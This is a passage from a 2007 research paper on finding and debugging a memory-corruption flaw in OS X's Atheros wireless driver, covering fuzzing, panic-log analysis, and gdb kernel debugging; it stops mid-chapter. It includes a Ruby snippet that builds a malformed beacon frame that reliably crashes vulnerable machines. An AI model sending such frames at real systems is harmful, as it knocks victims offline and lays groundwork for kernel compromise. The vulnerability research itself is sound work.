OS X Kernel-mode Exploitation in a Weekend

September, 2007

David Maynor
dave@erratasec.com
http://www.erratasec.com/

Abstract

Apple's Mac OS X operating system is attracting more attention from users and security researchers alike. Despite this increased interest, there is still an apparent lack of detailed vulnerability development information for OS X. This paper will attempt to help bridge this gap by walking through the entire vulnerability development process. This process starts with vulnerability discovery and ultimately finished with a remote code execution. To help illustrate this process, a real vulnerability found in the OS X wireless device driver is used.

Chapter 1

Introduction

OS X has a strange place in the hearts and the minds of the research community. Security researchers, like most other users, enjoy a well-built and reliable hardware platform topped off by an operating system with a slick interface. Switch gears from the users experience to a more research-oriented focus and problems start to appear. Researchers have historically explored and documented internals of operating systems like Microsoft's Windows and open source counterparts such as Linux and BSD variants. The knowledge gaps for OS X are in no way a show stopper for researching security vulnerabilities on OS X; still, they prove to be a frustrating speed bump. While static analysis of binaries in a Windows environment may be trivial, the same cannot be said to be true on OS X. This document contains information collected from a variety of sources after discovering a flaw in a wireless device driver for OS X.

Before the accidental discovery of the wireless flaw, the author knew next to nothing about the internals of OS X, the "xnu" kernel. Google, in a rare failure, also provided next to no help. All the articles the author encountered only narrowly covered a topic without talking about how one could go about building a useful research environment. Many of these articles talked about something each respective author discovered without showing how others could rediscover it. For this reason, the author includes tips throughout this paper in the form of sections entitled "Things I wish Google told me".

The Test Network

Many elements are required when finding and duplicating a wireless vulnerability. Since the target for the attack described in this paper is running the OS X operating system, at least two OS X machines are needed for kernel debugging with gdb (the "GNU Debugger"). A third computer with a D-Link WDA-2320 Atheros based card is used as the attacking machine. The attacking machine uses a small Linux based distribution that runs from a CD called BackTrack2[5].

BackTrack2 is used because it includes many special 802.11 drivers that are capable of raw packet injection, a feature that most wifi drivers (frustratingly) lack.

The author's initial research on the subject described in this paper made use of a patched version of "Madwifi-old" with LORCON. Madwifi is the name of the open-source drivers for chipsets from Atheros. LORCON is a wifi fuzzing tool written by Josh Wright. Since quick and flexible packet generation is important, the original tool used for this research was "scapy", a packet creation engine written in Python. The examples in this paper, written almost one year later, make use of the Metasploit LORCON integration and are written in Ruby.

To help provide some perspective on the research environment used in this document, the following three machine configurations should be referenced:

Target Machine	
Hardware	Mac Mini, 1.66Ghz, 512MB RAM
OS Version	10.4.7
IP Address	192.168.1.20
Role	The target machine is the victim in the testing scenario. It is running a vulnerable version of the OS X Atheros driver.
Dev Machine	
Hardware	Macbook, 2GHz Intel Core Duo, 1 GB RAM
OS Version	10.4.7
IP Address	192.168.1.1
Role	This machine runs gdb for connection to the target machine. It is also setup as a core dump server, but that functionality appears broken. This box will also archive the panic logs and register information along with stack traces. This is the primary machine for single step debugging.
Attack Machine	
Hardware	Generic shuttle PC, Pentium 3, 512MB RAM
OS Version	Backtrack2 Bootable Linux CD
IP Address	192.168.1.50
Role	This is the attacking machine. The attack initially launched from a Dell Laptop with a PCMCIA card. This machine is close to the same specifications with an Atheros based D-Link card. The attacks are in Ruby using the Metasploit framework integration with LORCON.

Chapter 2

Vulnerability Discovery

One of the major staples in a researcher's toolbox is binary analysis (where "binary" refers to compiled software code). Vulnerability research and discovery on OS X is no different in this regard. However, performing binary analysis on OS X requires some understanding of the underlying binary file format that is used. On OS X, Apple uses a universal binary file format called a Mach-O. In this context, a universal binary will execute on both Intel and PPC based machines. It accomplishes this by combining a compiled binary version of the program for each processor in an archive like format with a header that contains specific information relating to each processor type. The universal binary header is detected at runtime causing the correct compiled code for the platform to execute.

Although universal binaries provide an elegant solution for an operating system that supports multiple architectures, it leads to problems when performing binary analysis because not many tools support the file format at the time of this writing. Recently, IDA Pro added support for the binary format in 5.1. Prior to 5.1, reversing a universal binary required manual manipulation or scripting in an IDC.

Things I wish Google Told me: Disassembling OS X binaries

Apple provides tools that support the manipulation of universal binaries which are capable of creating a simplified binary suitable for hassle free loading into IDA Pro. One of these tools, "lipo", allows a researcher to extract the relevant chunk of compiled code from a universal binary. The following gives a quick example of using lipo on the Atheros driver from OS X 10.4.7. This will create a thin file called `at.i386` that is suitable for loading into IDA Pro without the confusing archive headers and with the older PowerPC code.

```
lipo thin i386 AirPortAtheros5424 output at.i386
```

The vulnerability featured in this paper is a flaw in Apple's wireless device driver. This flaw was discovered through "beacon" and "probe response" fuzzing. Beacons are the packets that wireless access points broadcast several times a second to announce their presence to the world. They are also the packets that your notebook computer uses in order to build a list of nearby access-points. Probe-responses are similar packets that are used when a notebook computer probes for access points that are not otherwise broadcasting.

The bug described in this paper was found by the author while performing fuzzing experiments against other machines. During this time, one of the Macbooks in the vicinity running OS X 10.4.6 crashed unexpectedly. This crash produced a file called `panic.log` in `/Library/Logs`. A `panic.log` file contains information to help debug a kernel panic or crash on OS X. This includes the output of all the registers, a stack trace and the load address of the offending module and the address of its dependent modules. This information provides a great starting place to help track down a driver problem. However, in its default form, there are several shortcomings. The most apparent shortcoming is that the stack trace does not include symbol information. As such, one sees addresses rather than function names. In order to begin to track down a problem, one needs to do some basic math to manually discover the names of the functions. Luckily, the loading offsets did not change much on the test machine when reproducing this issue.

The following output shows an example `panic.log`:

```
panic(cpu 0 caller 0x0019CADF):
Unresolved kernel trap (CPU 0, Type 14=pagefault), registers:
CR0: 0x8001003b, CR2: 0x62413863, CR3: 0x021d7000, CR4: 0x000006e0
EAX: 0x62413862, EBX: 0x00000003, ECX: 0x0c67bc8c, EDX: 0x00000003
ESP: 0x62413863, EBP: 0x0c67bad4, ESI: 0x03717804, EDI: 0x0371787c
EFL: 0x00010202, EIP: 0x008c923d, CS:  0x00000008, DS:  0x0c670010

Backtrace, Format - Frame : Return Address (4 potential args on stack)
0xc67b954 : 0x128b5e (0x3bc46c 0xc67b978 0x131bbc 0x0)
0xc67b994 : 0x19cadf (0x3c18e4 0x0 0xe 0x3c169c)
0xc67ba44 : 0x197c7d (0xc67ba58 0xc67bad4 0x8c923d 0x48)
```

```
0xc67ba50 : 0x8c923d (0x48 0x10 0x1e200010 0xc670010)
0xc67bad4 : 0x8c7303 (0x371787c 0x1e202d0d 0x8 0x5)
0xc67bb24 : 0x8bccb9 (0x3699804 0xc67bc8c 0x1e202800 0x80)
0xc67bb84 : 0x8cd799 (0x369b46c 0xc67bc8c 0x1e202800 0x80)
0xc67bce4 : 0x8ddbd9 (0x369b46c 0x1e20cb00 0x36bbc04 0x80)
0xc67bd34 : 0x8ce9a5 (0x369b46c 0x1e20cb00 0x36bbc04 0x80)
0xc67be24 : 0x8de86a (0x369b46c 0x1e20cb00 0x36bbc04 0x46)
0xc67bf14 : 0x38dd6d (0x369b29c 0x354d080 0x1 0x36a7e58)
0xc67bf64 : 0x38cf19 (0x354d080 0x135d18 0x0 0x36a7e58)
0xc67bf94 : 0x38cc3d (0x3575140 0x3575140 0x0 0x450)
0xc67bfd4 : 0x197b19 (0x3575140 0x0 0x36a80d0 0x3)
Backtrace terminated-invalid frame pointer 0x0
  Kernel loadable modules in backtrace (with dependencies):
    com.apple.driver.AirPortAtheros5424(104.1)@0x8bb000
    dependency: com.apple.iokit.IONetworkingFamily(1.5.0)@0x672000
    dependency: com.apple.iokit.IOPCIFamily(2.0)@0x563000
    dependency: com.apple.iokit.IO80211Family(112.1)@0x8a2000
```

When an OS X driver is loaded into IDA, the offsets are all relative to 0. In order to find the address where a kernel driver crashed you subtract the last address associated with the module from the stack trace from the module load address. You then subtract 0x1000 from the result because kernel modules are loaded in a page aligned fashioned. Here is a typical `panic.log` from /Library/Logs created for this example.

```
panic(cpu 1 caller 0x0019CADF):
Unresolved kernel trap (CPU 1, Type 14=pagefault), registers:
CR0: 0x80010033, CR2: 0x00000004, CR3: 0x02209000, CR4: 0x000006a0
EAX: 0x00000000, EBX: 0x00111111, ECX: 0x000005c3, EDX: 0x00000039
ESP: 0x00000004, EBP: 0x0c74b758, ESI: 0x00111111, EDI: 0x0345bbf0
EFL: 0x00010206, EIP: 0x0090df95, CS:  0x00000008, DS:  0x03a10010

Backtrace, Format - Frame : Return Address (4 potential args on stack)
0xc74b5d8 : 0x128b5e (0x3bc46c 0xc74b5fc 0x131bbc 0x0)
0xc74b618 : 0x19cadf (0x3c18e4 0x1 0xe 0x3c169c)
0xc74b6c8 : 0x197c7d (0xc74b6dc 0xc74b758 0x90df95 0x110048)
0xc74b6d4 : 0x90df95 (0x110048 0x2920010 0x10 0x3a10010)
0xc74b758 : 0x8f2083 (0x345a000 0x111111 0xc74b778 0x800016c3)
0xc74b7a8 : 0x9112b7 (0x36d5804 0x90df78 0x345a000 0x3a1f5a5)
0xc74b7c8 : 0x9115b9 (0x345a000 0x345a46c 0x345bdb8 0x196fc1)
0xc74b808 : 0x8dec91 (0x345a000 0x36d6800 0xc74b828 0x0)
0xc74ba08 : 0x8d600c (0x368a360 0x3a1f5a5 0x6 0x339c91)
0xc74bcb8 : 0x38e698 (0x345a000 0x8 0x3a1f5a5 0x0)
0xc74bcf8 : 0x8d5284 (0x35aa900 0x8d5c7c 0x8 0x3a1f5a5)
0xc74bd38 : 0x3a3d5c (0x345a000 0x8 0x3a1f5a5 0x0)
0xc74bd88 : 0x18a83d (0x36f8d00 0x0 0x3a1f5a4 0x22)
0xc74bdd8 : 0x12b389 (0x3a1f57c 0x39c756c 0x0 0x0)
0xc74be18 : 0x124902 (0x3a1f500 0x0 0x50 0xc74befc)
0xc74bf28 : 0x193034 (0xc74bf54 0x0 0x0 0x0)  Backtrace continues...
  Kernel loadable modules in backtrace (with dependencies):
    com.apple.driver.AirPortAtheros5424(104.1)@0x8e7000
       dependency: com.apple.iokit.IONetworkingFamily(1.5.0)@0x873000
       dependency: com.apple.iokit.IOPCIFamily(2.0)@0x57e000
       dependency: com.apple.iokit.IO80211Family(112.1)@0x8ce000
    com.apple.iokit.IO80211Family(112.1)@0x8ce000
```

```
       dependency: com.apple.iokit.IONetworkingFamily(1.5.0)@0x873000
       dependency: com.apple.iokit.IOPCIFamily(2.0)@0x57e000

Kernel version:
Darwin Kernel Version 8.7.1: Wed Jun  7 16:19:56 PDT 2006;
 root:xnu-792.9.72.obj~2/RELEASE_I386
```

The AirPort Atheros module has a load address of 0x8e7000 which rules out the first three entries in the stack trace as being found within this driver. The fourth entry, 0x90df95, is within the range of the driver. By performing a few quick calculations, it is possible to calculate the relative offset into the associated driver's binary:

```
0x90df95
-0x8e7000
-0x1000 = 0x25f95
```

Opening the driver in IDA Pro and then jumping to offset 0x25f95 will yield the following code from ath_copy_scan_results:

```
__text:00025F87                 mov     esi, [ebp+arg_4]
__text:00025F8A                 mov     edi, eax
__text:00025F8C                 add     edi, 1BF0h
__text:00025F92                 mov     eax, [esi+60h]
__text:00025F95                 movzx   ecx, byte ptr [eax+4]
__text:00025F99                 mov     eax, ecx
__text:00025F9B                 shr     al, 3
```

Looking at this crash log, one of the first lines quickly gives insight into how to analyze this dump:

```
panic(cpu 1 caller 0x0019CADF):
Unresolved kernel trap (CPU 1, Type 14=pagefault)
```

A page fault usually means that some code tried to access an invalid address. In a case such as this, the CR2 register (shown with the gdb with `info registers`) will contain the offending address[1]. In this case, the offending address is 0x00000004. Looking at the instruction that commits the page fault one can see a dereference of EAX: `movzx ecx, byte ptr [eax+4]`. The EAX register is zero so the value of CR2 came from the machine adding 4 to the address of in EAX. By looking at the binary values, one can determine that this panic log was caused by a NULL pointer dereference in the wireless device driver. Although it is a bit out of the scope for this document, the three addresses that precede the Atheros address in the stack trace are:

```
0x128b5e panic
0x19cadf panic_trap
0x197c7d trap_from_kernel
```

When performing OS X kernel auditing and exploit development, these three address will become a very familiar site in a panic log, so get used to ignoring the first three and starting at the fourth address.

[1]Intel processors contain a whole set of non general-purpose registers like CR2 that are used for hardware and driver debugging. These are registers that one would not normally interact with when debugging userland code

Chapter 3

The Flaw

Standard exploit development techniques rarely work well when applied to kernel-level vulnerabilities. The kernel environment is much less friendly to the exploit writer than user mode. Each specific vulnerability will likely require custom techniques. The flaw described in the previous chapter was found in the driver provided by Apple in their Mac OS X version 10.4.7 on Macbooks and Mac Minis running on an Intel processor. This flaw allows an attacker to compromise and gain complete control of a targeted machine. Since the flaw requires a targeted machine to receive and process a wireless management frame, the attacker must be within range in order to transmit the frame[1].

As was described above, this flaw was discovered accidentally while fuzz testing other devices. The "scapy" fuzzing tool was used to generate wireless management frames with a random numbers of *Information Elements* (IEs) of random sizes that were then transmitted to the broadcast address[2]. The Macbook crashed due to a page fault caused by the wireless driver during the processing of one of these fuzz packets. The panic log showed arbitrary memory corruption in the form of overwriting values in source or destination copies in memory. Three crash dumps which are described below clearly show that memory was corrupted during the handling of these fuzz packets.

Example 1: Attempt to access `0x62413863`:

```
panic(cpu 0 caller 0x0019CADF):
Unresolved kernel trap (CPU 0, Type 14=pagefault), registers:
CR0: 0x8001003b, CR2: 0x62413863, CR3: 0x021d7000, CR4: 0x000006e0
EAX: 0x62413862, EBX: 0x00000003, ECX: 0x0c67bc8c, EDX: 0x00000003
ESP: 0x62413863, EBP: 0x0c67bad4, ESI: 0x03717804, EDI: 0x0371787c
EFL: 0x00010202, EIP: 0x008c923d, CS:  0x00000008, DS:  0x0c670010
<Removed for length>
#3  0x00197c7d in trap_from_kernel ()
#4  0x008c923d in ieee80211_saveie ()
```

[1]In addition, OS X discards valid frames with a weak signal, so the attacker has to be especially close to the victim machine

[2]The beacon packets sent by access points contain a number of variable-length IEs such as the advertising SSID, the list of supported speeds, the country is works in, authentication information, channels, time, timezone, and vendor-specific information, such as how to find the music containing your Zune media player

```
#5  0x008c7303 in sta_add ()
#6  0x008bccb9 in ieee80211_add_scan ()
#7  0x008cd799 in ieee80211_recv_mgmt ()
#8  0x008ddbd9 in ath_recv_mgmt ()
#9  0x008ce9a5 in ieee80211_input ()
#10 0x008de86a in ath_intr ()
```

Example 2: Attempt to access `0xcc`

```
panic(cpu 1 caller 0x0019CADF):
Unresolved kernel trap (CPU 1, Type 14=pagefault), registers:
CR0: 0x8001003b, CR2: 0x000000cc, CR3: 0x021d7000, CR4: 0x000006a0
EAX: 0x00000033, EBX: 0x037d8504, ECX: 0x036a4c78, EDX: 0x0360b610
ESP: 0x000000cc, EBP: 0x0c6ebea4, ESI: 0x037d8504, EDI: 0x0369b46c
EFL: 0x00010206, EIP: 0x008c5f03, CS:  0x00000008, DS:  0x00000010
<Removed for length>
#3  0x00197c7d in trap_from_kernel ()
#4  0x008c5f03 in sta_update_notseen ()
#5  0x008c6ba0 in sta_pick_bss ()
#6  0x008bd77c in scan_next ()
#7  0x008bc314 in thread_call_func ()
```

Example 3: Attempt to copy from `0x41316341`

```
eax            0xaca7000 181039104
ecx            0xc98 3224
edx            0x3263 12899
ebx            0xf 15
esp            0xc6e3714 0xc6e3714
ebp            0xc6e3758 0xc6e3758
esi            0x41316341 1093755713
edi            0xaca7000 181039104
eip            0x1933de 0x1933de <memcpy_common+10>
eflags         0x10203 66051
cs             0x8 8
ss             0x10 16
ds             0x120010 1179664
es             0xc6e0010 208535568
fs             0x10 16
gs             0x900048 9437256
Program received signal SIGTRAP, Trace/breakpoint trap.
0x001933de in memcpy_common ()
2: x/i $eip  0x1933de <memcpy_common+10>: repz movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
#0  0x001933de in memcpy_common ()
#1  0x03915004 in ?? ()
#2  0x008c6083 in sta_iterate ()
#3  0x008e52b7 in AirPort_Athr5424::ieee80211_notify_scan_done ()
#4  0x008e55b9 in AirPort_Athr5424::setSCAN_REQ ()
#5  0x008b2c91 in IO80211Scanner::scan ()
#6  0x008aa00c in IO80211Controller::execCommand ()
#7  0x0038e698 in IOCommandGate::runAction (this=0x3595300,
inAction=0x8a9c7c <IO80211Controller::execCommand(OSObject*, void*, void*,
void*, void*)>, arg0=0x8, arg1=0x399aea5, arg2=0x0, arg3=0xc6e3d2c) at
/SourceCache/xnu/xnu-792.9.72/iokit/Kernel/IOCommandGate.cpp:152
#8  0x008a9284 in IO80211Controller::queueCommand ()
```

Tracking down the packet that crashes a wireless driver can be frustrating because it's not necessarily the last packet to be received or transmitted. This is important when the number of packets produced and injected can be as many as several thousands per minute. Since the memory overwrites illustrated above cover an entire 32 bit value, like 0x41414141, a method to tag which packet number is responsible for the overwrite can help to cut down on this frustration.

A counter for packet tracking can be inserted into packets when at generation time. There are a few specific places where storing this counter can help with packet identification. The first place is the last 4 bytes of a BSSID with the first two bytes remaining static. For example, `0xcc 0xcc 0x41 0x41 0x41 0x01` is the BSSID of the first packet sent. When the last byte of the MAC address reaches `0xff` the next higher byte starts counting. As such, `0xcc 0xcc 0x41 0x41 0x01 0x01` is the BSSID for the 256th packet sent. Likewise, the fuzzer can pad the information-element buffer in the same way with a repeating pattern of `0x41 0x41 0x41 0x01` for the first packet sent. The reason for padding the value with the extra data instead of just setting them to `0x00` is related to the page faults. While `0x41 0x41 0x41 0xf1` may translate to a bad address and cause a page fault during access attempts, `0x00 0x00 0x43 0x12` may be valid and cause no problems. Since kernel panics are the primary source of isolating the flaw at this point, they need to cause a crash instead of silently allowing the kernel to continue executing.

Several tests reveal that the only anomaly common to all the packets that cause overwrite is an overly long *Extended Rate Element* which is an IE sent by the access point to advertise additional speeds, such as 11mpb, that the access point supports. To verify this, the author changed the script so that it would generate a distinctive pattern in the Extend Rate IE. This pattern showing up in the crash dumps made it possible to prove that it was the "Extended Rate" IE that was the problem. The amount of the pattern found in memory made it easy to determine how much memory was corrupted. The following Ruby code shows how the packet was crafted that made it possible to come to this conclusion:

```
ssid  = Rex::Text.rand_text_alphanumeric(rand(255))
bssid = "\x61\x61\x61" + Rex::Text.rand_text(3)
seq     = [rand(255)].pack('n')
xrate = Rex.Text.rand_pattern_create(240)
  frame =
  "\x80" +
  "\x00" +
  "\x00\x00" +
  "\xff\xff\xff\xff\xff\xff" +
  bssid +
  bssid +
  seq +
  Rex::Text.rand_text(8) +
  "\xff\xff" +
  Rex::Text.rand_text(2) +
  #ssid tag
  "\x00" + ssid.length.chr + ssid +
  #supported rates
  "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +
  #current channel
  "\x03" + "\x01" + channel.chr +
  #Xrate
  "\x32" + xrate.length.chr + xrate
```

When this packet is transmitted, the victim machine will not crash right away. The vulnerable code does not process the packets the instant they are received. The packets are instead only processed when the information is needed for a scan. OS X produces a new scan every five minutes. As such, the machine may take up to five minutes to crash after receiving a corrupted packet. Pinning down this bug meant that forcing a scan would be necessary.

As luck would have it, Apple provides a tool called `airport` for this sort of thing (located in /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources). Executing `airport z` will disassociate the machine from whatever wireless access point it is currently using. Executing `airport s` will force the driver to run a scan and report all access points within range. In order to crash the machine quickly after a corrupted Extended Rate IE is sent, the author ran the command `airport s r 10000`. The "-r" option tells the airport command to repeat an action a given number of times which, in this case, causes 10000 re-scans.

Running this command would cause the machine to reliably crash in the same manner every time. This makes it possible to figure out where, precisely, the wireless driver is a crashing. In this case, the corrupted IE in the packet that is transmitted causes a crash in a `memcpy` called from a function named `ath_copy_scan_results` in the Apple driver. It appears that the attacker can influence where the `memcpy` will read from and how much data will be copied. Since an attacker can copy arbitrary data from one area of memory (such as the packet) to another area of memory, it will most likely be possible to gain code execution.

If no scan is forced and the target machine is not associated with an access point, a different crash will reliably occur in a `memcmp` called from a function named `sta_add`. The `memcmp` is meant to check to see if a BSSID is the same as one that has been stored. However, the overflow corrupts a structure so that it compares the pointer to the new BSSID against a pointer that the attacker can set.

Most of the beacon intervals in the test scripts are set to `0xffff`, which is a little over 67 seconds. This means that a machine that receives and adds one of these beacon packets into its scan cache is not expecting to get another update from the BSSID for a little over 67 seconds. Generally, management frame fuzzing means the creation of something like a fake beacon frame that is quickly injected and forgotten. A real AP would continue sending beacon packets to let a potential client know it is still available. A driver will wait up until its beacon interval before taking actions such as marking the AP with the missed beacon as non-preferential for connection or even removing it from the scan cache altogether. In order to have many packets processed, the author set the beacon interval time to its maximum so the driver would not get suspicious for at least 67 seconds, thus allowing time for the fake AP to go through processing. In other words, most beacons are sent with intervals of several times a second. By using the maximum interval, one only needs to send a corrupted beacon packet once a minute.

If the `memcmp` crash does not occur during normal operations, a crash in a function called `sta_update` can occur. Although the specific locations that the crash occurs at within this function can be different, the crash will occur reliably with the same data if the malicious frame is the same.

Analyzing these repeated crashes helps to localize where memory corruption is occurring in the code. This can include static analysis using tools like IDA Pro to read the compiled driver code. This can also include dynamic analysis such as by stepping through the code with a debugger like gdb to watch step-by-step what the driver does when it overwrites memory. Debugging a kernel driver in real-time requires setting up two machines for gdb and enabling the kernel core dump facility. There are numerous documents on how to set up live kernel debugging with gdb, so rather than rehashing the information[3].

The specific OS X boot settings the author uses involve setting the nvram boot-args argument to `debug=0xd44 _panicd_ip=192.168.1.1 v`. This setting is the easiest for two machine debugging, however, the target machine will no longer produce a panic log.

Things I Wish Google told me: kernel core dumps on Intel are broken

The core kernel dumping functionality on the Intel architecture appears to be broken. Following the directions for the target and development machine yielded no core dumps. After investigating this problem, it seems to stem from the fact that the panicing machine performs no ARP resolution during a crash. The panicing machine instead forwards information to its default router. OS X expects the default router to forward this information to the core dump server. The author has found that the best way to encourage proper handling is to place the development machine on a different subnet from the target machine. Keep in mind that this information was gleaned through a series of changes and tests and observations with a network sniffer. Setting the ARP entry statically with the command `arp -s` did not help.

Chapter 4

Debugging the Crash

One of the many benefits of remote kernel debugging is the ability to view a stack back trace with symbol information. The vulnerability described in the previous chapter showed crashes in many different functions such as `sta_add`, `ath_copy_scan_results`, and `sta_update_not_seen`.

Googling these function names will reveal that many of them are present in the open source Madwifi project for Atheros based wireless hardware. They are also present in the FreeBSD net80211 project. Apple based their driver on these open-source projects. Since these projects use the BSD open-source license, Apple is not required to open their source code modifications.

While the Apple Atheros driver does not exactly match the open source projects, they match close enough to make reverse engineering much easier. The source tree for the Apple Airport driver and Madwifi are so close that the same debug flags work. Using `sysctl` to set the debug options on either debug.net80211 or debug.athdriver will cause a flood of diagnostic information to fill `/var/log/system.log`.

```
TestBox:~ root# sysctl debug
debug.bpf_bufsize: 4096
debug.bpf_maxbufsize: 524288
debug.bpf_maxdevices: 256
debug.iokit: 0
debug.net80211: 0 0
debug.athdriver: 0 0
TestBox:~ root# sysctl -w debug.net80211=0xfffffff
debug.net80211: 0 0 -> 2147483647 2147483647
TestBox:~ root#
TestBox:~ root# tail /var/log/system.log
Aug 5 18:07:12 TestBox kernel[0]: [en:00:1c:10:0b:d0:a1] discard
[en:00:13:46:a8:73:c4] discard received beacon from 00:1c:10:0b:d0:a1 rssi 33
Aug 5 18:07:12 TestBox kernel[0]: [en:00:1c:10:0b:d0:a1] discard
[en:00:13:46:a8:73:c4] discard received beacon from 00:1c:10:0b:d0:a1 rssi 33
Aug 5 18:07:12 TestBox kernel[0]: [en:00:1c:10:0b:d0:a1] discard
[en:00:13:46:a8:73:c4] discard received beacon from 00:1c:10:0b:d0:a1 rssi 32
Aug 5 18:07:12 TestBox kernel[0]: [en:00:1c:10:0b:d0:a1] discard
[en:00:13:46:a8:73:c4] discard received beacon from 00:1c:10:0b:d0:a1 rssi 32
Aug 5 18:07:12 TestBox kernel[0]: [en:00:1c:10:0b:d0:a1] discard
[en:00:13:46:a8:73:c4] discard received beacon from 00:1c:10:0b:d0:a1 rssi 31
```

```
Aug 5 18:07:12 TestBox kernel[0]: [en:00:1c:10:0b:d0:a1] discard
[en:00:13:46:a8:73:c4] discard received beacon from 00:1c:10:0b:d0:a1 rssi 32
Aug 5 18:07:12 TestBox kernel[0]: [en:00:1c:10:0b:d0:a1] discard
[en:00:13:46:a8:73:c4] discard received beacon from 00:1c:10:0b:d0:a1 rssi 32
Aug 5 18:07:12 TestBox kernel[0]: [en:00:1c:10:0b:d0:a1] discard
[en:00:13:46:a8:73:c4] discard received beacon from 00:1c:10:0b:d0:a1 rssi 31
Aug 5 18:07:12 TestBox kernel[0]: [en:00:1c:10:0b:d0:a1] discard
[en:00:13:46:a8:73:c4] discard received beacon from 00:1c:10:0b:d0:a1 rssi 31
TestBox:~ root#
```

One can read what each bit does and how they can be set using the debug tools found in the tools directory of the Madwifi source tree. The open-source `80211debug.c` file corresponds to Apple's `debug.net80211` module and `athdebug.c` corresponds to `debug.athdriver`. An `enum` found at the top of each debug source file defines the bit mask and what functionality it enables. You can activate all debugging functionality by setting the bit field to `0xffffffff`. However, when doing this, a problem arises due to the large amount of data written to the log file. The function that performs the logging, `IOLog`, cannot always keep up with the flood of messages and does not know or care if a write is unsuccessful. For this reason, targeting a specific function may give more information and help to ensure that it is not buried under a wave of data. For instance, the following command will only show debug messages that involve the scanning code where this vulnerability occurs.

```
sysctl w debug.net80211=0x00200000
```

If one does not want to remember the bit fields, the Madwifi tools required only minor tweaks to work with OS X, and the source is in the accompanying tar ball with other examples for this paper.

The task of kernel debugging ultimately rests with gdb which is not well-suited for the job. Those people who learned kernel hacking with SoftICE will be unhappy with gdb. It lacks basic debugger functionality such as the ability to search through memory. Tracepoints do not work nor do hardware breakpoints. However, it makes up for the lack of built-in functionality with the ability to script and the ability to set commands to execute after a breakpoint is reached. Stringing a lot of these features together makes it possible to hack together tools that help to supplement missing features. A short list of helpful tricks discovered during the use of gdb are included in the following sections.

4.1 Ghetto Profiling

Although several texts reference the ability to enable profiling by rebuilding the xnu kernel under OS X, that never seemed to work correctly for me. For this reason, the author kept a written list of interesting offsets and profile other information. For example, when you break in `sta_add`, ECX contains a pointer to the packet that is about to parse. To use this as a ghetto profiler, the author would set a breakpoint at the beginning of `sta_add`. Using this command's feature, a conditional is used to make sure ECX is not NULL and, if not, print the first 20 bytes of it. The debugger is then told to continue.

```
(gdb) break sta_add
Breakpoint 1 at 0x8f2e35
(gdb) commands
Type your commands for when breakpoint 1 is hit, one per line.
End with a line saying just "end".
```

```
> if $ecx > 0x100
 >x/20x $ecx
 >end
>continue
>end
```

Every time this breakpoint is hit it will print the first 20 bytes of ECX and then continue. This is useful because when the machine does crash one can see the packet it was processing at the time. This is what it looks like when running.

```
Breakpoint 1, 0x008f2e35 in sta_add ()
2: x/i $eip  0x8f2e35 <sta_add+6>:      sub    esp,0x3c
0x1e34f000:     0x013a0050      0x04cb1600      0x110062a3      0xfeaffb50
0x1e34f010:     0xfb501100      0x2ef0feaf      0xf6773728      0x00000192
0x1e34f020:     0x04110064      0x68730700      0x656b6e69      0x8204016e
0x1e34f030:     0x03968b84      0x16dd0b01      0x01f25000      0x50000001
0x1e34f040:     0x000102f2      0x02f25000      0x50000001      0x060402f2

Breakpoint 1, 0x008f2e35 in sta_add ()
2: x/i $eip  0x8f2e35 <sta_add+6>:      sub    esp,0x3c
0x1e36a000:     0x00000080      0xffffffff      0x6161ffff      0x8710ec61
0x1e36a010:     0xec616161      0xc1c08710      0xc5962377      0xa185eaae
0x1e36a020:     0xa9b1ffff      0x55441300      0x30455362      0x34634972
0x1e36a030:     0x4530614a      0x6f557678      0x82080137      0x0c968b84
0x1e36a040:     0x03483018      0xf0320b01      0x41414141      0x41414141
```

The first packet is a probe response which can be determined keying off the 50 that starts the packet. The integer format should be read in reverse byte-order such that `0x013a0050` is actually `0x50 0x0x3a 0x01`. The next packet is `0x80 0x00 0x00 0x00` which is a beacon frame with a BSSID of `0x61 0x61 0x61 0xec 0x10 0x87`. This represents a packet that was created by the packet generation script.

The ghetto profiling works great on less frequently invoked breakpoints. The more hits a breakpoint receives, the greater the load to a machine.

4.2 kgmacros

When gdb is started a file "kgmacors" should be sourced that contains a lot of useful debugging macros from the kernel debug kit. Most of these functions do not seem to work on the Intel platform. In some cases, one may get an error message stating that the command does not work with this architecture. In other cases, it may just silently fail. Although some commands like panic log are useful, other commands like `showx86backtrace` can actually destroy data needed for debugging.

4.3 Simplifying things

There is a lot to do to get gdb setup to do live kernel debugging. One must download the correct kernel debug kit, create the correct symbols on the target machine, and move them to the debug machine. Following that, one must start gdb, import the symbols, generate a NMI on the target machine, and connect the debugger. These tasks should be automated as much as possible or one will be stuck typing the same commands repeatedly. On the target machine, the command to create the symbols for AirPortAtheros5424 is simple:

```
Kextload -A -s /tmp/symbols
   /System/Library/Extensions/IO80211Family.kext/Contents/PlugIns/AirPortAtheros5424.kext
```

This will create the required symbols in `/tmp/symbols/`. `/tmp/symbols` can be archived and transferred to the debugging machine. On the debugging machine a script will do most of the manual tasks and define a macro for connecting to the target machine. The contents of OS `Xkernel_setup`:

```
file /Volumes/KernelDebugKit/mach_kernel
set architecture i386
source /Volumes/KernelDebugKit/kgmacros
add-symbol-file /Users/dave/symbols/com.apple.driver.AirPortAtheros5424.sym
add-symbol-file /Users/dave/symbols/com.apple.iokit.IOPCIFamily.sym
add-symbol-file /Users/dave/symbols/com.apple.iokit.IO80211Family.sym
add-symbol-file /Users/dave/symbols/com.apple.iokit.IONetworkingFamily.sym
set disassembly-flavor intel

define knock
target remote-kdp
attach $arg0
end
```

This script is sourced instead of running all the normal startup activities. The knock macro replaces having to type two commands every time one needs to connect to the target machine.

```
(gdb) knock 192.168.1.20
Connected.
(gdb)
```

One thing to note about kernel debugging is that although the author has not observed this happening a lot, the module one is auditing can load at a different address which means new symbols should be generated otherwise nothing will match up correctly. From the author's experience, one can boot a machine 100 times and the module will be at the same address 99 out of 100 times, and the one time it is not a simple reboot should bring the module back to the expected address.

Chapter 5

Analyzing Madwifi

The madwifi source code shows that most of the crashes occur while iterating over the scan cache stored in a variable known as `scan_state`. To add an entry to the scan cache a function called `sta_add` parses management frames into a structure called `sta_entry`.

```
struct sta_entry {
  struct ieee80211_scan_entry base;
  TAILQ_ENTRY(sta_entry) se_list;
  LIST_ENTRY(sta_entry) se_hash;
  u_int8_t        se_fails;               /* failure to associate count */
  u_int8_t        se_seen;                /* seen during current scan */
  u_int8_t        se_notseen;             /* not seen in previous scan */
  u_int32_t se_avgrssi;           /* LPF rssi state */
  unsigned long se_lastupdate;    /* time of last update */
